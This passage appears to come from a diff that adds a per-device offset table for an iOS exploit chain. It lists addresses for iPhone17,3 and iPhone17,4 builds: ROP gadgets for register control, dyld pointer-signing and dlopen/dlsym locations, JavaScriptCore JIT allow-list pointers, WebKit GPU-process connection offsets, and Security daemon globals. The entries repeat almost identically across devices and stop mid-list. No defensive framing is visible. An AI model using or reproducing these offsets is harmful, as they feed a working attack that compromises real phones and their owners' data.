WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + 